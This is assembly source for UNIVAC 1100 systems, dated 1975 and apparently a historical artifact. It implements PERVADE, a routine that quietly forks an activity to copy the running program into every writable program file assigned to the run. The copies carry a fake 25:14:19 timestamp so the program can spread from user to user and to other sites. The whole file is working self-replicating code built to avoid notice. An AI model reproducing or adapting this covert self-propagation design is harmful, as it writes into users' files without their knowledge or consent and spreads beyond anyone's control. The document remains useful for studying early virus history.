.
.
.                            P E R V A D E
.
.                  A NEW MEANS OF RELEASING SOFTWARE
.
.
.                                       JOHN WALKER   JANUARY 1975
.
.
.         THIS PROGRAM IS A TOTALLY NEW WAY OF DISTRIBUTING VERSIONS OF
.         SOFTWARE THROUGHOUT THE 1100 SERIES USER COMMUNITY.  PREVIOUS
.         METHODS REQUIRED THE DELIBERATE AND PLANNED INTERCHANGE OF
.         TAPES, CARD DECKS, OR OTHER TRANSFER MEDIA.  THE ADVENT OF
.         'PERVADE' PERMITS SOFTWARE TO BE RELEASED IN SUCH A MANNER THAT
.         IF SOMEONE CALLS YOU UP AND ASKS FOR A VERSION OF A PROCESSOR,
.         VERY LIKELY YOU CAN TELL THEM THAT THEY ALREADY HAVE IT, MUCH
.         TO THEIR OWN SURPRISE.
.
.         HERE IS HOW IT WORKS:
.
.         ANY PROGRAM WHICH WISHES TO PERVADE THE USER COMMUNITY SHOULD
.         INSERT THE CALL:
.
.         LMJ       X11,PERVADE
.
.         AT THE START OF ITS CODE, AND THE CALL:
.
.         LMJ       X11,PVTERM
.
.         AT THE END OF CODE, JUST BEFORE THE FINAL ER EXIT$.  THE
.         INITIAL CALL ON PERVADE WILL FORK OFF AN ACTIVITY TO DO
.         THE ACTUAL PERVASION AND RETURN CONTROL IMMEDIATELY TO
.         THE USER PROGRAM.  THE USER WILL GET HIS ORIGINAL ACTIVITY
.         BACK.  THE PERVADE ACTIVITY WILL THEN SCAN THE PCT VIA PCT$
.         AND EXAMINE THE PCT ITEMS FOR ALL FILES CURRENTLY ASSIGNED
.         TO THE RUN.  IF A FILE IS CATALOGUED, READ AND WRITE ENABLED,
.         AND AN INITIALISED PROGRAM FILE, IT IS CHECKED TO SEE
.         WHETHER A COPY OF THE CURRENTLY EXECUTING ABSOLUTE EXISTS IN
.         THE FILE.  IF NOT, IT COPIES THE CURRENT ABSOLUTE INTO THE
.         FILE TO REMEDY THE SITUATION.  SOONER OR LATER, THE USER WILL
.         NOTICE THAT A NEW ABSOLUTE HAS GOTTEN INTO HIS FILE, AND WILL
.         PROBABLY EXECUTE IT TO SEE WHAT IT DOES.  IT WILL THEN, OF
.         COURSE, COPY ITSELF INTO ALL THE NEW FILES HE HAS ASSIGNED
.         AT THAT TIME.  BY SUCCESSIVE REPETITIONS, THE PROGRAM WILL,
.         WELL, PERVADE.  NATURALLY IT WILL FIND ITSELF SOONER OR
.         LATER ON A TAPE BOUND FOR ANOTHER SITE WHERE THE PROCESS
.         WILL CONTINUE UNTIL THE PROGRAM HAS PERVADED THROUGHOUT THE
.         USER COMMUNITY.
.
.         THE MULTI-ACTIVITY APPROACH PERMITS THE PROGRAM TO PERVADE
.         UNBEKNOWNST TO THE USER.  THE FINAL CALL ON PVTERM STOPS
.         IN-PROGRESS PERVASION, IF ANY, AND SHUTS DOWN THE PROCESSOR
.         IMMEDIATELY SO NO TELL-TALE DELAY OCCURS.
.
.         WHEN AN ELEMENT IS ENTERED IN A USER FILE, THE DATE OF THE
.         ORIGINAL ELEMENT WILL BE UNCHANGED, BUT THE TIME WILL BE
.         CHANGED TO THE DISTINCTIVE TIME 25:14:19.  THIS PERMITS
.         PERVADE TO TELL WHEN IT LOOKS IN A USER FILE THAT AN ELEMENT
.         WITH THE SAME NAME AS THE RUNNING PROGRAM WAS PUT THERE
.         PREVIOUSLY BY PERVADE.  IF IT WAS NOT, NO ACTION WILL BE
.         TAKEN, LEST PERVADE DELETE A USER PROGRAM WITH THE SAME NAME.
.         IF THE ELEMENT WAS INSERTED BY PERVADE, THOUGH, THE DATE
.         OF THE ELEMENT IN THE USER FILE WILL BE COMPARED WITH THE
.         DATE OF THE RUNNING PROGRAM, AND IF THE RUNNING PROGRAM IS
.         MORE RECENT THAN THE COPY IN THE USER'S FILE, THE NEWER COPY
.         WILL BE INSERTED IN THE USER FILE.  THIS PERMITS 'PERVASIVE
.         INCREMENTAL RELEASES' OF SOFTWARE.
.
.
.
.
.         THE TAG 'TALK' MAY BE SET NONZERO TO GENERATE DIAGNOSTIC
.         OUTPUT DURING THE OPERATION OF PERVADE.
.
TALK      EQU       0                   TURN IT OFF
.
.         TIME IN SECONDS USED TO IDENTIFY PERVADE-INSERTED ELEMENTS.
.
TIMEFLAG  EQU       25*60*60+14*60+19   25:14:19
.
.
          AXR$
          DEFUNCT$
          LIT$      2
.
.         PROC USED TO CHECK FOR FORCIBLE TERMINATION
.
P         PROC      0,2                 CHECK FOR TERMINATION OF MAIN PROGRAM
YET*      NAME      0
          TZ        PVSTOP              IS THE CEASE FLAG SET ?
          J         PERVEX              YES.  GET OUT OF HERE
          END
.
.         PROC TO LOAD REASON FOR IGNORING FILE IN TALK MODE
.
P         PROC      *1
REASON*   NAME      0
          ON        TALK
          LR        R2,(LJSF$1 P(1,1))  LOAD REASON FOR SKIPPING FILE
          OFF       TALK
          END       .
.
.
.         FIXED LOCATIONS IN THE PCT
.
EU        EQUF      0110                FILE NAME OF CURRENT PROGRAM
KB        EQUF      0125                PROGRAM NAME
KD        EQUF      0127                VERSION NAME
PCTNAM    EQU       0241                FIRST PCT NAME TABLE
.
IOBUFL    EQU       224                 I/O BUFFER LENGTH
.
.
$(1).
PERVADE*  TS        PVCW.               LOCK PERVADE CONTROL STORAGE
          TZ        PVBUSY              IS PERVADE ALREADY IN PROGRESS ?
          J         PVIGN               YES.  IGNORE REDUNDANT CALL
          LA,U      A0,1                LOAD A ONE
          SA        A0,PVBUSY           MARK PERVADE IN PROGRESS
          SZ,S1     PVCW                CLEAR LOCK ON CONTROL CELL
          FORK$     PERVD1              SPAWN AN ACTIVITY TO DO THE SKULDUGGERY
          J         0,X11               RETURN TO CALLER
.
PVIGN     SZ,S1     PVCW                CLEAR LOCK ON CONTROL CELLS
          J         0,X11               RETURN TO CALLER
.
.
.         MAIN PERVADE PROCESSING ACTIVITY
.
.         THIS ROUTINE SCANS THE PCT FILE ASSIGNMENT TABLES AND
.         LOOKS FOR CATALOGUED PROGRAM FILES.  FOR EACH ONE FOUND,
.         IT DOES A PFS$ TO LOOK FOR THE ABSOLUTE BEING EXECUTED
.         BY THE USER IN THE USER'S FILE.  IF IT FINDS IT, OR THE
.         FILE IS NOT A PROGRAM FILE, IT GIVES UP AND TRIES THE NEXT
.         FILE.  IF IT DOES NOT FIND IT, IT COPIES THE ELEMENT INTO
.         THE FILE AND INSERTS IT INTO THE TABLE OF CONTENTS.
.
PERVD1    PCT$,EU   PFR,2               GET INTERNAL NAME OF ABSOLUTE FILE
          PCT$,KB   PFP+2,2             GET NAME OF ABSOLUTE ELEMENT
          PCT$,KD   PFP+6,2             GET VERSION OF ABSOLUTE
          DL        A0,PFR              LOAD SOURCE FILE NAME
          DS        A0,IOR              SET FILE NAME IN I/O PACKET TO READ TEXT
          DL        A0,PFP+2            LOAD NAME FROM PFI$ PACKET
          DS        A0,PFR+2            SET IN PFS$ PACKET
          DL        A0,PFP+6            LOAD VERSION FROM PFI$ PACKET
          DS        A0,PFR+6            SET INTO PFS$ PACKET
          PCT$,PCTNAM FILIST,62         RETRIEVE INITIAL FACILITY NAME ITEM
          LA,U      A4,PCTNAM           LOAD OFFSET OF ORIGINAL BUFFER
.
PERVDFI   LX,U      X8,FILIST+1         LOAD POINTER TO FIRST FILE NAME
          LR,S3     R3,FILIST           LOAD NUMBER OF FILES IN TABLE
          J         PERVDFE             ENTER PERVADING LOOP
.
.         THIS CODE PROCESSES A FILE FROM THE FACILITY ITEM
.
PERVDFS   LA,H2     A1,2,X8             LOAD POINTER TO PCT ITEM
          AA        A1,A4               MAKE ABSOLUTE PCT ADDRESS
          LXI,U     A1,15               LOAD LENGTH OF PCT ITEM
          LA,U      A0,PCTITM           LOAD PCT ITEM BUFFER
          PCT$      .                   READ PCT ITEM INTO OUR BUFFER
          YET       .                   CHECK FOR TERMINATION
.
.         WE NOW HAVE RETRIEVED THE PCT ITEM.  NOW WE SCAN IT TO SEE
.         WHETHER THE FILE IS WORTH COPYING OURSELVES INTO.  IT MUST
.         BE A CATALOGUED FILE, AND HAVE A FASTRAND MASS STORAGE TYPE.
.         IF WE CAN GET AT THE ASSIGNMENT INFORMATION, WE SEE IF THE FILE
.         HAS ENOUGH GRANULES TO BE A PROGRAM FILE AND WHETHER IT IS
.         MARKED AS CHANGED.
.
          REASON    'EQTTYP'
          LA        A0,PCFEQT           LOAD EQUIPMENT TYPE OF FILE
          TG,U      A0,030              IS IT FASTRAND TYPE ?
          TG,U      A0,037+1            ...OR SOMETHING ELSE ?
          J         PERVDFN             YES.  SKIP THIS FILE
          REASON    'INHIBT'
          LA        A0,PCFRW            LOAD READ/WRITE INHIBIT BITS
          TOP,U     A0,WRINHB           IS FILE WRITE PROTECTED ?
          TEP,U     A0,RDINHB           OR READ PROTECTED ?
          J         PERVDFN             YES.  SKIP THIS FILE
          REASON    'WAD'
          LA        A0,PCFFLG           LOAD FILE TYPE FLAGS
          TEP,U     A0,FGWAD            IS FILE WORD-ADDRESSABLE ?
          J         PERVDFN             YES.  IGNORE IT
          LA        A0,PCFIND           LOAD INDICATORS FOR FILE
          TEP,U     A0,EXPITM           IS ITEM IN EXPOOL ?
          J         PVUSEF              YES.  CAN'T CHECK FURTHER
          REASON    'TEMP'
          LA        A0,PCFID1           LOAD FURTHER ASSIGNMENT INFO
          TEP,U     A0,040              IS FILE CATALOGUED ?
          J         PERVDFN             NO.  DON'T BOTHER COPYING TO TEMP FILE
.         TEP,U     A0,020              HAS FILE BEEN CHANGED ?
.         J         PERVDFN             NO.  DON'T COPY INTO IT
          REASON    'TRKCNT'
          LA        A0,PCFLTR           LOAD HIGHEST TRACK REFERENCED
          TLE,U     A0,28               CAN IT BE A PROGRAM FILE ?
          J         PERVDFN             NO.  DON'T BOTHER TRYING
.
.
.         THIS FILE IS A CATALOGUED, FASTRAND-FORMAT FILE ASSIGNED WITH
.         READ AND WRITE PERMISSION.  NOW DETERMINE FOR REAL WHETHER THE
.         FILE IS AN INITIALISED PROGRAM FILE AND WHETHER WE'RE ALREADY
.         COPIED HERE.
.
PVUSEF    DL        A0,,X8              LOAD INTERNAL NAME FOR FILE
          DS        A0,PFP              SET IN PFS$ PACKET
          DS        A0,IOW              SET IN WRITE I/O PACKET
          DS        A0,IORCK            SET FILE NAME IN READ CHECK PACKET
          REASON    'NO*PF*'
          IOW$      IORCK               READ SECTOR ZERO OF FILE
          TZ,S1     IORCK+3             NORMAL STATUS ON READ ?
          J         PERVDFN             NO.  FILE IS NOT A PROGRAM FILE
          LA        A0,IOBUF            LOAD FIRST WORD OF BUFFER
          TE        A0,('**PF**')       INITIALISED PROGRAM FILE ?
          J         PERVDFN             NO.  SKIP PFS$ CODE
          YET       .                   CHECK FOR TERMINATION
          SZ        PFP+11              SET FLAG FOR ELEMENT NOT FOUND IN FILE
          PFS$      PFP                 LOOK FOR OURSELVES IN THIS FILE
          YET       .                   CHECK FOR TERMINATION
          REASON    'PFSERR'
          TG,U      A2,2                ERROR STATUS FROM PFS$ ?
          J         PERVDFN             YES.  DON'T MESS WITH A BAD FILE
          JNZ       A2,PVLKU            PROCEED WITH COPY IF NO FIND
.
.         THE USER'S FILE CONTAINS AN ELEMENT WITH THE SAME NAME AS
.         THE EXECUTING ABSOLUTE.  EXAMINE THE TIME OF CREATION TO
.         SEE WHETHER THE ELEMENT WAS CREATED BY PERVADE (IF IT WAS,
.         THE TIME PART OF THE TIME AND DATE WILL BE 25:14:19).  IF
.         THE ELEMENT WAS NOT INSERTED BY PERVADE, DON'T TOUCH THE
.         FILE.
.
          REASON    'SAMNAM'
          LA,H1     A0,PFP+11           LOAD TIME OF ELEMENT CREATION
          TE,U      A0,TIMEFLAG         WAS ELEMENT ENTERED BY PERVADE ?
          J         PERVDFN             NO.  DON'T DESTROY USER ELEMENT
.
.         LOOK UP OUR SOURCE ABSOLUTE ELEMENT
.
PVLKU     TZ        PFR+11              HAVE WE ALREADY DONE LOOKUP ?
          J         PVLKAR              YES.  DO ONLY ONCE PER PERVASION
          PFS$      PFR                 LOOK FOR SOURCE ABSOLUTE IN FILE
          JNZ       A2,PERVEX           EXIT IF WE CAN'T FIND OURSELVES
.
.         IF A PERVADE-CREATED ABSOLUTE WITH THE SAME NAME AS THE EXECUTING
.         PROGRAM WAS FOUND IN THE USER FILE, COMPARE THE DATE OF CREATION
.         TO SEE WHETHER A MORE RECENT CURRENTLY EXECUTING PROGRAM SHOULD
.         REPLACE THE OLDER PROGRAM IN THE USER FILE.
.
PVLKAR    TNZ       PFP+11              WAS ELEMENT FOUND IN USER FILE ?
          J         PVLKOK              NO.  DO SOMETHING ABOUT IT
          REASON    'ALREDY'            INDICATE SAME VERSION IN FILE
          LA,H2     A0,PFP+11           LOAD CREATION DATE FROM USER FILE
          TNE,H2    A0,PFR+11           SAME AS DATE IN EXECUTING FILE ?
          J         PERVDFN             YES.  SAME ABSOLUTE IN USER FILE
          REASON    'NEWER'             INDICATE NEWER ABSOLUTE IN USER FILE
          LA,S6     A0,PFP+11           LOAD USER FILE YEARS
          MSI,U     A0,12               CONVERT TO MONTHS
          AA,S4     A0,PFP+11           ADD MONTHS
          MSI,U     A0,31               CONVERT TO DAYS
          AA,S5     A0,PFP+11           ADD DAYS TO TOTAL
          LA,S6     A1,PFR+11           LOAD YEARS FROM EXECUTING FILE
          MSI,U     A1,12               CONVERT TO MONTHS
          AA,S4     A1,PFR+11           ADD MONTHS
          MSI,U     A1,31               CONVERT TO DAYS
          AA,S5     A1,PFR+11           ADD DAYS
          TG        A0,A1               IS USER FILE COPY MORE RECENT ?
          J         PERVDFN             YES.  DON'T CLOBBER WITH OLDER COPY
.
PVLKOK    PFWL$     PFP                 GET NEXT WRITE ADDRESS IN USER FILE
          YET       .                   CHECK FOR TERMINATION
          REASON    'PFWL'
          JNZ       A2,PERVDFN          SKIP IF WE CAN'T GET IT
          SA        A1,PFP+10           SET WRITE ADDRESS AS FIRST ADDRESS
          SA        A1,IOW+5            SET WRITE ADDRESS IN I/O PACKET
.
.         COPY ABSOLUTE TEXT TO USER FILE
.
          LA,H2     A5,PFR+9            LOAD TEXT LENGTH
          MSI,U     A5,28               CONVERT TO WORDS
          LA        A0,PFR+10           LOAD STARTING ADDRESS OF ELEMENT
          SA        A0,IOR+5            SET READ ADDRESS FOR COPY
PVRDBL    JZ        A5,PVDPFI           GO INSERT ELEMENT IF COPY DONE
          LA        A0,A5               LOAD WORDS LEFT TO COPY
          TG,U      A0,IOBUFL+1         TOO LONG FOR I/O BUFFER ?
          LA,U      A0,IOBUFL           YES.  TRUNCATE I/O TO BUFFER LENGTH
          SA,H1     A0,IOR+4            SET LENGTH TO READ FROM FILE
          ANA       A5,A0               UPDATE LENGTH REMAINING TO READ
          IOW$      IOR                 READ A TEXT BLOCK FROM SOURCE FILE
          YET       .                   CHECK FOR TERMINATION
          TZ,S1     IOR+3               READ ERROR ?
          J         PERVEX              YES.  SKULK AWAY
          LA        A0,IOR+5            LOAD READ ADDRESS
          AA,U      A0,IOBUFL/28        INCREMENT READ ADDRESS
          SA        A0,IOR+5            UPDATE NEXT READ ADDRESS
          LA        A0,IOR+4            LOAD INPUT ACCESS WORD
          SA        A0,IOW+4            SET AS OUTPUT ACCESS WORD
          IOW$      IOW                 WRITE BLOCK TO USER'S FILE
          YET       .                   CHECK FOR TERMINATION
          REASON    'WR ERR'
          TZ,S1     IOW+3               WAS WRITE COMPLETED SUCCESSFULLY ?
          J         PERVDFN             NO.  GO TRY NEXT FILE
          LA        A0,IOW+5            LOAD WRITE ADDRESS FROM I/O PACKET
          AA,U      A0,IOBUFL/28        INCREMENT WRITE ADDRESS
          SA        A0,IOW+5            UPDATE WRITE ADDRESS IN PACKET
          J         PVRDBL              LOOP FOR ALL TEXT BLOCKS
.
.         INSERT THE ABSOLUTE ELEMENT IN THE USER'S FILE.
.
PVDPFI    LA,H1     A0,PFR+5            LOAD ABSOLUTE FLAGS OF ORIGINAL ELEMENT
          SA,H1     A0,PFP+5            SET AS FLAGS OF ELEMENT TO BE ENTERED
          DL        A0,PFR+8            LOAD LENGTH AND BANK BITS
          DS        A0,PFP+8            SET AS SAME IN NEW ELEMENT
          LA        A0,PFR+11           LOAD TIME AND DATE
          LXI,U     A0,TIMEFLAG         LOAD IDENTIFYING TIME
          SA        A0,PFP+11           COPY TO NEW ELEMENT
          LA        A1,PFP+10           LOAD START ADDRESS OF ELEMENT
          AA,H2     A1,PFP+9            ADD LENGTH OF ELEMENT TO GET NEXT WRITE
ADDRESS
          LNA,U     A0,PFP              LOAD ADDRESS OF PACKET
          PFI$      .                   INSERT ELEMENT, UPDATE WRITE ADDRESS
          YET       .                   CHECK FOR TERMINATION
          ON        TALK
          DL        A0,('GOTCHA !!   ') LOAD 'FILE PROCESSED' SENTINEL
          DS        A0,IOBUF            SET MESSAGE IN I/O BUFFER
          DL        A0,,X8              LOAD FILE NAME JUST GOTTEN
          DS        A0,IOBUF+2          SET IN OUTPUT BUFFER
          PRINT$    IOBUF,4             PRINT MESSAGE FOR FILE PROCESSED
          J         PERVDFP             INDICATE FILE PROCESSED.  GET NEXT
          OFF       TALK
.
.         RETURN HERE TO SELECT NEXT FILE FOR 'PROCESSING'
.
PERVDFN   .
          ON        TALK
          LA        A0,('SKIP: ')       LOAD 'SKIP' INDICATOR FOR FILE
          SA        A0,IOBUF            SET MESSAGE IN BUFFER
          DL        A0,,X8              LOAD FILE NAME FROM PCT BUFFER
          DS        A0,IOBUF+1          SET FILE NAME IN PACKET
          LA        A0,R2               LOAD REASON FOR SKIPPING FILE
          LA        A1,('      ')       LOAD SPACES
          DSC       A0,6                SHIFT A SPACE IN FRONT OF REASON
          DS        A0,IOBUF+3          SET REASON IN MESSAGE
          PRINT$    IOBUF,5             PRINT REASON FOR SKIPPING FILE
          OFF       TALK
PERVDFP   AX,U      X8,3                ADVANCE TO NEXT FILE IN PCT BUFFER
PERVDFE   JGD       R3,PERVDFS          LOOK IF MORE REMAIN
.
.         LINK TO NEXT FACILITY ITEM IN THE PCT, IF ANY
.
          LA,H2     A1,FILIST           LOAD LINK TO NEXT ITEM
          JZ        A1,PERVEX           EXIT IF THIS WAS THE LAST ITEM
          AA        A4,A1               COMPUTE ADDRESS OF NEXT BUFFER
          LA        A1,A4               LOAD ADDRESS FOR PCT$
          LXI,U     A1,62               LOAD LENGTH OF BUFFER
          LA,U      A0,FILIST           LOAD FILE TABLE BUFFER ADDRESS
          PCT$      .                   READ BUFFER FROM THE PCT
          J         PERVDFI             GO PROCESS THE NEW BUFFER
.
.
.         ALL FILES HAVE BEEN PROCESSED OR FORCIBLE TERMINATION HAS
.         BEEN INVOKED.  CLEAR THE BUSY FLAG AND EXIT.
.
PERVEX    SZ        PVBUSY              CLEAR THE BUSY FLAG
          EXIT$     .                   TERMINATE THE PERVADE ACTIVITY
.
.
.         TERMINATE PERVASION
.
.         THIS SUBROUTINE SHOULD BE CALLED BY THE USER BEFORE EXITING
.         HIS PROGRAM.  IT SETS THE PERVADE TERMINATION FLAG AND IF
.         THE MAIN PERVADE ACTIVITY IS STILL BUSY, WAITS FOR IT TO BE
.         FORCIBLY TERMINATED.
.
PVTERM*   LA,U      A0,1                LOAD A ONE
          SA        A0,PVSTOP           SET TERMINATION MODE
PVWAIT    TNZ       PVBUSY              IS PERVADE STILL BUSY ?
          J         0,X11               NO.  RETURN TO THE CALLER
          TWAIT$    10                  WAIT FOR TEM MILLISECONDS
          J         PVWAIT              AND TRY AGAIN
.
.
$(2).
.
FILIST    RES       62                  PCT FACILITY ITEM BUFFER
PCTITM    RES       15                  PCT ITEM BUFFER
IOBUF     RES       IOBUFL              I/O BUFFER FOR COPYING TEXT
.
IOR       IO$PKT,R$ 'CSINTNAME$' IOBUFL,IOBUF 0
IORCK     IO$PKT,R$ 'USER-FILE' 28,IOBUF 0
IOW       IO$PKT,W$ 'USER-FILE' IOBUFL,IOBUF 0
.
.         PCT ITEM FORMAT
.
PCFEQT    EQUF      PCTITM+1,,S1        EQUIPMENT TYPE
PCFFLG    EQUF      PCTITM+1,,S3        FACILITY FLAGS
PCFRW     EQUF      PCTITM+2,,S2        READ/WRITE FLAGS
PCFIND    EQUF      PCTITM+3,,S3        MODE INDICATORS
PCFID1    EQUF      PCTITM+6,,S1        SPECIAL ITEM FLAGS
PCFLTR    EQUF      PCTITM+012,,H1      HIGHEST TRACK REFERENCED
.
.         STATUS BITS FOR PCT ITEM
.
WRINHB    EQU       020                 WRITE INHIBITED ON FILE
RDINHB    EQU       010                 READ INHIBITED ON FILE
FGWAD     EQU       1                   WORD ADDRESSABLE MODE
EXPITM    EQU       1                   EXPOOL ITEM EXISTS
.
.
PFR       'CSINTNAME$'                   PFS$ PACKET TO SEARCH SOURCE FILE
          'ELT-NAME'
          *         0
          *         6,0
          'VERSION'
          DO        4 , * 0
.
PFP       'USER-FILE'                    PFI$ PACKET TO INSERT IN USER FILE
          'ELT-NAME'
          *         0
          *         6,0
          'VERSION'
          RES       4
.
.         CONTROL CELL
.
PVCW      EQUF      $                   TEST AND SET
PVBUSY    EQUF      $,,S2               BUSY FLAG
PVSTOP    EQUF      $,,S3               CEASE FLAG SET BY PVTERM
          *         0
.
.
          END
